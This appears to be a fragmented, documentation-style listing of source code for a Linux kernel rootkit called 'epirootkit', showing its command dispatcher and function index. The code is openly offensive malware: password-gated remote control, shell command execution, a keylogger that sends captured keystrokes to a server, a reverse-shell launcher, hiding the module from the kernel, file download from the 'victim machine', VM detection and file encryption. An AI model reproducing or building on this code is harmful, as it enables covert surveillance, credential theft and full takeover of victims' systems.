1#include <linux/delay.h>
3#include <linux/kernel.h>
6#include <linux/module.h>
7#include <linux/sched.h>
9#include <linux/string.h>
10#include <linux/uaccess.h>
11#include <linux/utsname.h>
12#include <linux/vmalloc.h>
50 {
"connect", 7,
"unlock access to rootkit. Usage: connect [password]", 51,
54 {
"passwd", 6,
"change rootkit password. Usage: passwd NEW_PASSWORD", 51,
57 "execute a shell command. Usage: exec [-s for silent mode] [args*]", 65,
61 {
"klg", 3,
"send keylogger content to server", 32,
klg_handler },
64 {
"hide_module", 11,
"hide the module from the kernel", 31,
66 {
"unhide_module", 13,
"unhide the module in the kernel", 31,
68 {
"help", 4,
"display this help message", 25,
help_handler },
75 {
"upload", 6,
"receive a file and save it on disk", 34,
upload_handler },
76 {
"download", 8,
"download a file from victim machine", 35,
78 {
"sysinfo", 7,
"get system information in JSON format", 37,
80 {
"is_in_vm", 8,
"check if remote rootkit is running in vm", 40,
82 {
"cipher", 6,
"cipher the file in parameter", 29,
cipher_handler },
84 { NULL, 0, NULL, 0, NULL }
92 "[YES] The rootkit is running in a virtual machine.\n");
96 "[NOP] The rootkit is not running in a virtual machine.\n");
104 int offset = snprintf(help_msg,
STD_BUFFER_SIZE,
"Available commands:\n");
110 ERR_MSG(
"help_handler: help message truncated\n");
134 if (
command[command_size - 1] !=
'\0') {
135 ERR_MSG(
"rootkit_command: command is not null-terminated\n");
140 const char *allowed_commands[] = {
"connect",
"help",
"ping", NULL };
144 for (
int i = 0; allowed_commands[i] != NULL; i++) {
145 if (strncmp(
command, allowed_commands[i], strlen(allowed_commands[i])) == 0) {
152 send_to_server(protocol,
"Authentication required. Use the 'connect' "
153 "command to authenticate.\n");
154 ERR_MSG(
"rootkit_command: unauthorized command without authentication\n");
178 if (!args || !*args) {
184 for (
char *p = args; *p; p++) {
193 ERR_MSG(
"change_password_handler: failed to set password: %d\n", ret);
208 DBG_MSG(
"connect_handler: verifying password received: %s...\n", args);
212 ERR_MSG(
"connect_handler: error verifying password: %d\n", pv);
218 DBG_MSG(
"connect_handler: user authenticated\n");
224 ERR_MSG(
"connect_handler: invalid password\n");
243 bool catch_stds =
true;
246 args += strspn(args,
" \t");
247 if (strncmp(args,
"-s ", 3) == 0) {
259 ret_code = ret_code >> 8;
260 DBG_MSG(
"exec_handler: command executed with return code: %d\n", ret_code);
262 ERR_MSG(
"exec_handler: failed to execute command\n");
267 char stdout_msg[] =
"stdout:\n";
268 int stdout_buff_size = 0;
272 char stderr_msg[] =
"stderr:\n";
273 int stderr_buff_size = 0;
277 if (stdout_buff_size < 0 || stderr_buff_size < 0) {
278 ERR_MSG(
"exec_handler: failed to read stdout or stderr files\n");
279 send_to_server(protocol,
"Failed to read stdout or stderr files\n");
287 char code_msg[32] = { 0 };
288 snprintf(code_msg,
sizeof(code_msg),
"Terminated with code: %d\n",
292 kmalloc(stdout_buff_size + stderr_buff_size +
sizeof(stdout_msg) +
sizeof(stderr_msg) +
sizeof(code_msg),
295 ERR_MSG(
"exec_handler: failed to allocate memory for output message\n");
301 stdout_buff_size + stderr_buff_size +
sizeof(stdout_msg) +
sizeof(stderr_msg) +
sizeof(code_msg),
302 "%s%s%s%s%s", stdout_msg, stdout_buff, stderr_msg, stderr_buff,
312 char ret_code_msg[32] = { 0 };
313 snprintf(ret_code_msg,
sizeof(ret_code_msg),
"Terminated with code: %d\n",
324 ERR_MSG(
"klgon_handler: failed to activate keylogger\n");
329 DBG_MSG(
"klgon_handler: keylogger activated\n");
336 ERR_MSG(
"klgoff_handler: failed to deactivate keylogger\n");
341 DBG_MSG(
"klgoff_handler: keylogger desactivated\n");
348 ERR_MSG(
"klg_handler: failed to send keylogger content\n");
352 DBG_MSG(
"klg_handler: keylogger content sent\n");
358 args += strspn(args,
" \t");
359 args[strcspn(args,
"\n")] =
'\0';
361 if (args[0] ==
'\0') {
362 DBG_MSG(
"getshell_handler: no port specified, using default port %d\n",
366 long shellport = simple_strtol(args, NULL, 10);
367 if (shellport < 0 || shellport > 65535) {
368 ERR_MSG(
"getshell_handler: invalid port number %ld\n", shellport);
377 ERR_MSG(
"getshell_handler: failed to launch reverse shell on port %ld\n",
384 "Reverse shell launched successfully on port %ld\n",
391 DBG_MSG(
"killcom_handler: killcom received, exiting...\n");
394 static char *argv[] = {
"/usr/sbin/rmmod",
"epirootkit", NULL };
395 static char *envp[] = {
"HOME=/",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
401 ERR_MSG(
"unhide_module_handler: failed to unhide module\n");
405 DBG_MSG(
"killcom_handler: calling rmmod from usermode...\n");
407 call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
413 DBG_MSG(
"hide_module_handler: hiding module\n");
416 ERR_MSG(
"hide_module_handler: failed to hide module\n");
422 DBG_MSG(
"unhide_module_handler: unhiding module\n");
425 ERR_MSG(
"unhide_module_handler: failed to unhide module\n");
512 send_to_server(protocol,
"{error: Failed to retrieve system information}");
530 char *encrypted_buffer = NULL;
531 size_t encrypted_len = 0;
533 if ((result =
encrypt_buffer(buffer, result, &encrypted_buffer, &encrypted_len) < 0))
537 if ((result =
_write_file(args, encrypted_buffer, encrypted_len)) < 0)
552 char *encrypted_buffer = NULL;
555 if ((result =
_read_file(args, &encrypted_buffer)) < 0)
559 char *decrypted_buffer = NULL;
560 size_t decrypted_len = 0;
562 if ((result =
decrypt_buffer(encrypted_buffer, result, &decrypted_buffer, &decrypted_len) < 0))
566 if ((result =
_write_file(args, decrypted_buffer, decrypted_len)) < 0)
571 send_to_server(protocol,
"cipher: Error while unciphering file.");
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
static int hide_module_handler(char *args, enum Protocol protocol)
static int klg_handler(char *args, enum Protocol protocol)
static int help_handler(char *args, enum Protocol protocol)
static int connect_handler(char *args, enum Protocol protocol)
static int exec_handler(char *args, enum Protocol protocol)
static struct command rootkit_commands_array[]
static int is_in_vm_handler(char *args, enum Protocol protocol)
static int getshell_handler(char *args, enum Protocol protocol)
static int change_password_handler(char *args, enum Protocol protocol)
struct socket * get_worker_socket(void)
static int cipher_handler(char *args, enum Protocol protocol)
int rootkit_command(char *command, unsigned command_size, enum Protocol protocol)
static int unhide_module_handler(char *args, enum Protocol protocol)
static int ping_handler(char *args, enum Protocol protocol)
static int uncipher_handler(char *args, enum Protocol protocol)
static int klgon_handler(char *args, enum Protocol protocol)
static int killcom_handler(char *args, enum Protocol protocol)
static int klgoff_handler(char *args, enum Protocol protocol)
static int sysinfo_handler(char *args, enum Protocol protocol)
static int disconnect_handler(char *args, enum Protocol protocol)
#define TIMEOUT_BEFORE_RETRY
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
#define REVERSE_SHELL_PORT
int download_handler(char *args, enum Protocol protocol)
int epikeylog_send_to_server(void)
Handles sending the keylogger buffer content to the remote server.
int epikeylog_init()
Initializes the keylogger module.
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
#define exec_str_as_command(user_cmd, catch_stds)
int launch_reverse_shell(char *args)
int _write_file(const char *path, const char *buf, size_t len)
int _read_file(const char *path, char **out_buf)
int send_to_server(enum Protocol protocol, char *message,...)
int set_user_auth(bool auth)
int passwd_set(const char *new_password)
Set a new password by updating the stored hash.
int passwd_verify(const char *password)
Verify the provided password against the stored hash.
int(* cmd_handler)(char *args, enum Protocol protocol)
int upload_handler(char *args, enum Protocol protocol)
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.